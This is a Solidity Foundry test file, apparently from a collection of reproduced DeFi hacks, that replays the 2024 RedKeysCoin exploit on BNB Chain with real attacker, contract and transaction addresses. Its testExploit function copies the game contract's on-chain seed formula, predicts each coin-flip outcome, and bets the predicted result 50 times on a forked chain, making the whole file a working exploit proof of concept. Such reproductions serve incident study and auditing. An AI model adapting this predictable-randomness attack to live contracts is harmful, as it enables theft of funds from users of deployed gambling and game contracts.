RedKeysCoin_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

import "forge-std/interfaces/IERC20.sol";

// @KeyInfo - Total Lost : $12K
// Attacker : https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601
// Attack Contract : https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b
// Vulnerable Contract : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0
// Attack Tx : https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0#code

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/SlowMist_Team/status/1794975336192438494
// Hacking God :

interface IRedKeysGame {
    function playGame(uint16 choice, uint16 ratio, uint256 amount) external;
    function counter() external view returns (uint256);
}

contract RedKeysCoin is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 39_079_951;

    IRedKeysGame constant game = IRedKeysGame(0x71e3056aa4985de9f5441f079E6C74454A3C95f0);
    IERC20 constant coin = IERC20(0x00e62b6CCf1fe3e5E01CE07F6232d7F378518b6b);

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(coin);

        vm.label(address(game), "RedKeysGame");
        vm.label(address(coin), "REDKEYS");

        // prepare for exploit
        deal(address(coin), address(this), 1e9);
        coin.approve(address(game), type(uint256).max);
    }

    function testExploit() public balanceLog {
        for (uint256 i = 0; i < 50; i++) {
            // get current counter
            uint256 counter = game.counter();

            // estimate bet result by calculating the result of the function randomNumber
            uint16 betResultExpectation = uint16(randomNumber(counter + 1)) % 2;

            // play the game
            game.playGame(betResultExpectation, 2, 1e9);
        }
    }

    // random number generator with same logic of target contract
    function randomNumber(
        uint256 counter
    ) internal view returns (uint256) {
        uint256 seed = uint256(
            keccak256(
                abi.encodePacked(
                    counter + block.timestamp + block.prevrandao
                        + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit
                        + ((uint256(keccak256(abi.encodePacked(address(this))))) / (block.timestamp)) + block.number
                )
            )
        );

        return (seed - ((seed / 1000) * 1000));
    }
}